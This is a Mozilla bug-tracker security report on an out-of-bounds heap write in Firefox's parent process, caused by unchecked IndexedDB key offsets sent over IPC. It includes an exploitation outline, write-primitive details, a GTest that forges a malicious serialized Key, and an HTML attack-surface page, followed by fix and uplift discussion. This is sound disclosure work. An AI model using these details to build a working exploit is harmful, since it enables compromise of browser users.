IndexedDB Key::MaybeUpdateAutoIncrementKey — Parent Process Heap OOB Write
Categories
(Core :: Storage: IndexedDB, defect)
Tracking
()
People
(Reporter: prodigysml555, Assigned: jari, NeedInfo)
References
(Regression)
Details
(5 keywords, Whiteboard: [client-bounty-form][adv-main148+] [adv-esr140.8+])
Attachments
(3 files, 1 obsolete file)
|
48 bytes,
text/x-phabricator-request
|
dveditz
:
sec-approval+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-beta+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-esr140+
|
Details | Review |
Summary
The Key class in Firefox's IndexedDB implementation deserializes mAutoIncrementKeyOffsets from IPC without validating that the offsets are within bounds of the key's mBuffer. When an auto-increment object store processes a put/add operation, MaybeUpdateAutoIncrementKey writes 8 bytes at each attacker-controlled offset relative to the nsCString buffer's data pointer. A compromised content process can exploit this to achieve an arbitrary relative heap write in the parent process.
Root Cause
In dom/indexedDB/SerializationHelpers.h, lines 36-39:
static bool Read(MessageReader* aReader, paramType* aResult) {
return ReadParam(aReader, &aResult->mBuffer) &&
ReadParam(aReader, &aResult->mAutoIncrementKeyOffsets);
}
The mAutoIncrementKeyOffsets array (CopyableTArray<uint32_t>) is deserialized directly from the IPC message with no bounds validation against mBuffer.Length().
In normal operation, Key::ReserveAutoIncrementKey (Key.cpp:568-577) always sets offsets to mBuffer.Length() + 1, ensuring they are within the buffer. But the IPC deserialization path has no such constraint — a compromised content process can set arbitrary offset values.
In dom/indexedDB/ActorsParent.cpp, lines 10387-10399, VerifyRequestParams for ObjectStoreAddPutParams validates that index keys exist and are not unset, but never validates mAutoIncrementKeyOffsets:
for (const auto& updateInfo : aParams.indexUpdateInfos()) {
SafeRefPtr<FullIndexMetadata> indexMetadata =
GetMetadataForIndexId(*objMetadata, updateInfo.indexId());
if (NS_AUUF_OR_WARN_IF(!indexMetadata)) { return false; }
if (NS_AUUF_OR_WARN_IF(updateInfo.value().IsUnset())) { return false; }
MOZ_ASSERT(!updateInfo.value().GetBuffer().IsEmpty()); // DEBUG ONLY
}
// mAutoIncrementKeyOffsets is NEVER checked
Vulnerable Code Path
In dom/indexedDB/Key.cpp, lines 588-601:
void Key::MaybeUpdateAutoIncrementKey(int64_t aKey) {
if (mAutoIncrementKeyOffsets.IsEmpty()) { return; }
for (uint32_t offset : mAutoIncrementKeyOffsets) {
char* buffer;
MOZ_ALWAYS_TRUE(mBuffer.GetMutableData(&buffer));
buffer += offset; // No bounds check!
WriteDoubleToUint64(buffer, double(aKey)); // 8-byte write at offset
}
TrimBuffer();
}
WriteDoubleToUint64 (line 603-611) writes 8 bytes in big-endian format:
void Key::WriteDoubleToUint64(char* aBuffer, double aValue) {
uint64_t bits = BitwiseCast<uint64_t>(aValue);
const uint64_t signbit = FloatingPoint<double>::kSignBit;
uint64_t number = bits & signbit ? (-bits) : (bits | signbit);
mozilla::BigEndian::writeUint64(aBuffer, number);
}
This is called at ActorsParent.cpp:19143-19146 during ObjectStoreAddOrPutRequestOp::DoDatabaseWork:
for (auto& updateInfo : mParams.indexUpdateInfos()) {
updateInfo.value().MaybeUpdateAutoIncrementKey(autoIncrementNum);
}
Exploitation
A compromised content process exploits this as follows:
- Open an IndexedDB database with an auto-increment object store that has at least one index (this setup is trivial via normal web APIs).
- Forge an
ObjectStoreAddParamsIPC message containing:- Target object store with
autoIncrement = true - An unset key (triggers the auto-increment path)
indexUpdateInfoscontaining aKeywith:mBuffer: a small valid buffer (e.g., 10 bytes)mAutoIncrementKeyOffsets:[target_offset](e.g.,0x1000)
- Target object store with
- The parent process deserializes the Key via
ParamTraits<Key>::Read, which readsmAutoIncrementKeyOffsetswithout any bounds validation. VerifyRequestParamsvalidates the index metadata but never inspects the offsets.DoDatabaseWorkcallsMaybeUpdateAutoIncrementKeyon the forged Key.- The function writes 8 bytes at
mBuffer.Data() + target_offset, corrupting arbitrary heap memory in the parent process.
Write primitive details
- Offset: Fully controlled
uint32_t(0 to 4GB relative to buffer start) - Size: 8 bytes per offset entry; multiple offsets can be provided for multiple writes in a single IPC message
- Value: Derived from the auto-increment counter via
WriteDoubleToUint64. The counter starts at 1 and increments. For counter value 1, the write value is the IEEE 754 encoding of1.0with sign-bit XOR =0xBFF0000000000000. The value has limited controllability but the offset is fully controlled. - Process: Parent process (not sandboxed on many platforms)
Additional Finding: Inverted Validation in AllocCursor
In ActorsParent.cpp, line 10631:
if (aTrustParams && NS_AUUF_OR_WARN_IF(!VerifyRequestParams(
commonParams.optionalKeyRange()))) {
Compare with the correct pattern in AllocRequest at line 10487:
if (NS_AUUF_OR_WARN_IF(!aTrustParams && !VerifyRequestParams(aParams))) {
aTrustParams = IsSameProcessActor():
- AllocRequest:
!aTrustParams— validates when untrusted (correct) - AllocCursor:
aTrustParams— validates when trusted (INVERTED)
This means cross-process content callers skip key range validation entirely when opening cursors. In DEBUG builds, aTrustParams is forced to false (line 10614-10617), so false && ... = false — validation is also skipped in DEBUG.
PoC
GTest: IPC Deserialization Forgery
Uses ParamTraits<Key> serialization to forge a Key with mAutoIncrementKeyOffsets = [0x200] and mBuffer of 4 bytes. The test proves deserialization succeeds without validation. The actual MaybeUpdateAutoIncrementKey call is commented out for safety — uncommenting it in an ASAN build triggers heap-buffer-overflow WRITE of size 8.
Build: place in dom/indexedDB/test/gtest/, add to moz.build, run ./mach gtest "IndexedDB.KeyOOBWrite".
// dom/indexedDB/test/gtest/TestKeyOOBWrite.cpp
#include "gtest/gtest.h"
#include "mozilla/UniquePtr.h"
#include "mozilla/dom/indexedDB/Key.h"
#include "mozilla/dom/indexedDB/SerializationHelpers.h"
#include "mozilla/ipc/MessageChannel.h"
#include "ipc/IPCMessageUtils.h"
using mozilla::UniquePtr;
using namespace mozilla::dom::indexedDB;
TEST(IndexedDB, KeyOOBWrite)
{
// Step 1: Construct a malicious serialized Key.
// mBuffer = "AAAA" (4 bytes)
// mAutoIncrementKeyOffsets = [0x200] (offset 512, way past 4-byte buffer)
UniquePtr<IPC::Message> msg(
new IPC::Message(MSG_ROUTING_NONE, 0));
IPC::MessageWriter writer(*msg);
nsCString smallBuffer("AAAA"_ns);
WriteParam(&writer, smallBuffer);
CopyableTArray<uint32_t> maliciousOffsets;
maliciousOffsets.AppendElement(0x200); // 512 bytes past buffer start
WriteParam(&writer, maliciousOffsets);
// Step 2: Deserialize the crafted Key.
// ParamTraits<Key>::Read at SerializationHelpers.h:36-39 will read both
// mBuffer and mAutoIncrementKeyOffsets without any cross-validation.
Key deserializedKey;
IPC::MessageReader reader(*msg);
bool readOk = IPC::ReadParam(&reader, &deserializedKey);
// The read succeeds because there's no validation of offsets vs buffer size
ASSERT_TRUE(readOk);
// Step 3: Verify the deserialized state is dangerous.
ASSERT_EQ(deserializedKey.GetBuffer().Length(), 4u);
// Step 4: Trigger the OOB write.
// Under ASAN, this will report: heap-buffer-overflow WRITE of size 8
//
// UNCOMMENT TO TRIGGER:
// deserializedKey.MaybeUpdateAutoIncrementKey(1);
//
// WARNING: This will write 8 bytes at an arbitrary heap offset.
// Only uncomment in an ASAN build or a test environment.
}
HTML: Attack Surface Demonstration
Exercises the normal code path from web content: creates an IndexedDB database with auto-increment object store and indexes, adds records to trigger MaybeUpdateAutoIncrementKey in the parent process. The actual exploit requires IPC message manipulation from a compromised content process.
<!-- pocs/indexeddb_key_oob_write.html -->
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>IndexedDB OOB Write - Attack Surface PoC</title></head>
<body>
<pre id="log"></pre>
<script>
function log(msg) { document.getElementById('log').textContent += msg + '\n'; }
async function poc() {
log('=== IndexedDB Key::MaybeUpdateAutoIncrementKey OOB Write ===');
const dbName = 'poc_oob_' + Date.now();
const request = indexedDB.open(dbName, 1);
const db = await new Promise((resolve, reject) => {
request.onerror = () => reject(request.error);
request.onupgradeneeded = (event) => {
const db = event.target.result;
const store = db.createObjectStore('data', {
autoIncrement: true, keyPath: 'id'
});
// Indexes cause indexUpdateInfos to be populated in the
// ObjectStoreAddPutParams IPC message. Each index update
// contains a Key with mAutoIncrementKeyOffsets.
store.createIndex('idx_a', 'a');
store.createIndex('idx_b', 'b');
};
request.onsuccess = () => resolve(request.result);
});
log('[1] Database created with autoIncrement store + 2 indexes');
// Each add() sends ObjectStoreAddParams via IPC to the parent process.
// The Key struct has mBuffer + mAutoIncrementKeyOffsets.
// IPC deserialization (SerializationHelpers.h:36-39) reads
// mAutoIncrementKeyOffsets without bounds validation.
const tx = db.transaction('data', 'readwrite');
const store = tx.objectStore('data');
for (let i = 0; i < 5; i++) {
store.add({ a: 'val_' + i, b: i * 100 });
}
await new Promise((resolve, reject) => {
tx.oncomplete = resolve;
tx.onerror = () => reject(tx.error);
});
log('[2] 5 records added -- parent process executed MaybeUpdateAutoIncrementKey');
log('[3] VULNERABILITY: SerializationHelpers.h:36-39 reads offsets without');
log(' bounds check. Key.cpp:593-597 writes 8 bytes at each offset.');
log(' A compromised content process forges offsets to write OOB.');
db.close();
indexedDB.deleteDatabase(dbName);
log('[*] Done. Database cleaned up.');
}
poc().catch(e => log('Error: ' + e));
</script>
</body>
</html>
Affected Code
| File | Lines | Description |
|---|---|---|
dom/indexedDB/SerializationHelpers.h |
36-39 | Key deserialized from IPC without offset validation |
dom/indexedDB/Key.cpp |
588-601 | Unvalidated offset used for 8-byte heap write |
dom/indexedDB/Key.cpp |
603-611 | WriteDoubleToUint64 performs the actual write |
dom/indexedDB/ActorsParent.cpp |
10387-10399 | VerifyRequestParams never checks offsets |
dom/indexedDB/ActorsParent.cpp |
19143-19146 | Call site in parent process DoDatabaseWork |
dom/indexedDB/ActorsParent.cpp |
10631 | Inverted aTrustParams condition in AllocCursor |
Updated•7 months ago
|
Updated•7 months ago
|
| Comment hidden (obsolete) |
Comment 2•7 months ago
|
||
Err, never mind, it's not about allocating a large amount of memory but about writing to an arbitrary address.
Comment 3•7 months ago
|
||
Simple but handwritten IPC serialization. How many IPC objects do we have that has this kind of offset members? Is there a generalized protection for this?
And does it need to be offset or can the content process read it and send only the actual value?
And indeed https://searchfox.org/firefox-main/rev/7709f0a26aeb3c39a5fd86e794425530f0d0b528/dom/indexedDB/ActorsParent.cpp#10631-10634 looks wrong, verification happens when you trust params 🤔.
Comment 4•7 months ago
|
||
S3 given this requires an already compromised content process.
Updated•7 months ago
|
Updated•7 months ago
|
Comment 5•7 months ago
|
||
(In reply to Kagami Rosylight [:saschanaz] (they/them) from comment #3)
Simple but handwritten IPC serialization. How many IPC objects do we have that has this kind of offset members? Is there a generalized protection for this?
I should hope there aren't many more IPC objects which are serialized containing offset members, but I don't know for sure. This kind of pattern doesn't work for IPC.
Unfortunately I don't think it'd be feasible for us to do any kind of generalized protection for this. The IPC code cannot know what the integer is going to be used for.
Comment 6•7 months ago
|
||
(In reply to Kagami Rosylight [:saschanaz] (they/them) from comment #3)
And indeed https://searchfox.org/firefox-main/rev/7709f0a26aeb3c39a5fd86e794425530f0d0b528/dom/indexedDB/ActorsParent.cpp#10631-10634 looks wrong, verification happens when you trust params 🤔.
Weird. Looks like that was introduced all the way back in bug 1179025.
Updated•7 months ago
|
| Assignee | ||
Comment 7•7 months ago
|
||
I'll take a look
| Assignee | ||
Comment 8•7 months ago
|
||
| Assignee | ||
Comment 9•7 months ago
|
||
(In reply to Kagami Rosylight [:saschanaz] (they/them) from comment #3)
Simple but handwritten IPC serialization. How many IPC objects do we have that has this kind of offset members? Is there a generalized protection for this?
And does it need to be offset or can the content process read it and send only the actual value?
And indeed https://searchfox.org/firefox-main/rev/7709f0a26aeb3c39a5fd86e794425530f0d0b528/dom/indexedDB/ActorsParent.cpp#10631-10634 looks wrong, verification happens when you trust params 🤔.
It's an offset because the auto-incremented value is assigned by the parent process but the other parts of a composite key may already be known.
| Assignee | ||
Comment 10•7 months ago
|
||
So it seems that the offsets coming from the content process were indeed not bounds checked before they were used for writing in the parent process. I suppose this could have been avoided by better modeling of the data.
The trust parameters check was also inverted. A unit test might have been helpful to avoid this one.
| Assignee | ||
Comment 11•7 months ago
|
||
Comment on attachment 9542733 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: An exploit requires a compromised content process which can overwrite a certain memory location.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all
- If not all supported branches, which bug introduced the flaw?: Bug 1404276
- Do you have backports for the affected branches?: No
- If not, how different, hard to create, and risky will they be?: Patch is small and the code it applies to hasn't changed in a while.
- How likely is this patch to cause regressions; how much testing does it need?: It adds a new validation error case to an already fallible outer function. Fairly straightforward patch.
- Is the patch ready to land after security approval is given?: No
- Is Android affected?: Yes
Updated•7 months ago
|
Comment 12•7 months ago
|
||
Comment on attachment 9542733 [details]
(secure)
This patch doesn't appear to be reviewed yet: clearing the sec-approval request for now.
Please add tests in a separate differential so we can land them later, after users already have the fixed version
Comment 14•7 months ago
|
||
Comment on attachment 9542733 [details]
(secure)
(see comment 11)
| Assignee | ||
Updated•7 months ago
|
Comment 16•7 months ago
|
||
Comment on attachment 9542733 [details]
(secure)
sec-approval+
What is the leave-open for? If it's for landing the tests later please don't do it that way: a lot of the processes for the release, qa, and security teams are driven by "FIXED" bugs. If you need an open bug for tracking then please clone a "land tests for bug 2014101" security bug for that. Give it a sec-other keyword because it's not a vulnerability itself, just related to one. These days a lot of people rely on the bot reminders that I'm going to add to this bug, so you can do that if you'd like.
Updated•7 months ago
|
| Assignee | ||
Comment 17•7 months ago
|
||
(In reply to Daniel Veditz [:dveditz] from comment #16)
Comment on attachment 9542733 [details]
(secure)sec-approval+
What is the
leave-openfor? If it's for landing the tests later please don't do it that way: a lot of the processes for the release, qa, and security teams are driven by "FIXED" bugs. If you need an open bug for tracking then please clone a "land tests for bug 2014101" security bug for that. Give it asec-otherkeyword because it's not a vulnerability itself, just related to one. These days a lot of people rely on the bot reminders that I'm going to add to this bug, so you can do that if you'd like.
You guessed correctly. Let's remove it. I will follow your instruction for the tests.
Comment 18•7 months ago
|
||
Comment 19•7 months ago
|
||
Tomorrow is the last beta build for Fx148.
:jari, can you add uplift requests for beta and esr140?
This will give me a better chance to try get this uplifted before the beta build starts tomorrow.
Comment 20•7 months ago
|
||
Comment 21•7 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined: The patch fixes a security issue. The functionality is covered by wpt and other tests but by the tests for the underlying topic of the bug will follow later. The patch has been in Nightly for a very short time.
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: This adds validation to the code path where the underlying issue can occur. The handling of the failed validation is similar to other existing data validation errors.
- String changes made/needed: -
- Is Android affected?: yes
| Assignee | ||
Comment 22•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D281967
Comment 23•7 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined: The patch fixes a security issue. The functionality is covered by wpt and other tests but by the tests for the underlying topic of the bug will follow later. The patch has been in Nightly for a very short time.
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: This adds validation to the code path where the underlying issue can occur. The handling of the failed validation is similar to other existing data validation errors.
- String changes made/needed: -
- Is Android affected?: yes
| Assignee | ||
Comment 24•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D281967
Comment 25•7 months ago
|
||
firefox-release Uplift Approval Request
- User impact if declined: The patch fixes a security issue. The functionality is covered by wpt and other tests but by the tests for the underlying topic of the bug will follow later. The patch has been in Nightly for a very short time.
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: This adds validation to the code path where the underlying issue can occur. The handling of the failed validation is similar to other existing data validation errors.
- String changes made/needed: -
- Is Android affected?: yes
| Assignee | ||
Comment 26•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D281967
Updated•7 months ago
|
Updated•7 months ago
|
Comment 27•7 months ago
|
||
| uplift | ||
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Comment 28•7 months ago
|
||
| uplift | ||
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
| Assignee | ||
Updated•6 months ago
|
Comment 30•5 months ago
|
||
2 months ago, dveditz placed a reminder on the bug using the whiteboard tag [reminder-test 2026-04-07] .
jari, please refer to the original comment to better understand the reason for the reminder.
Updated•3 months ago
|
Description
•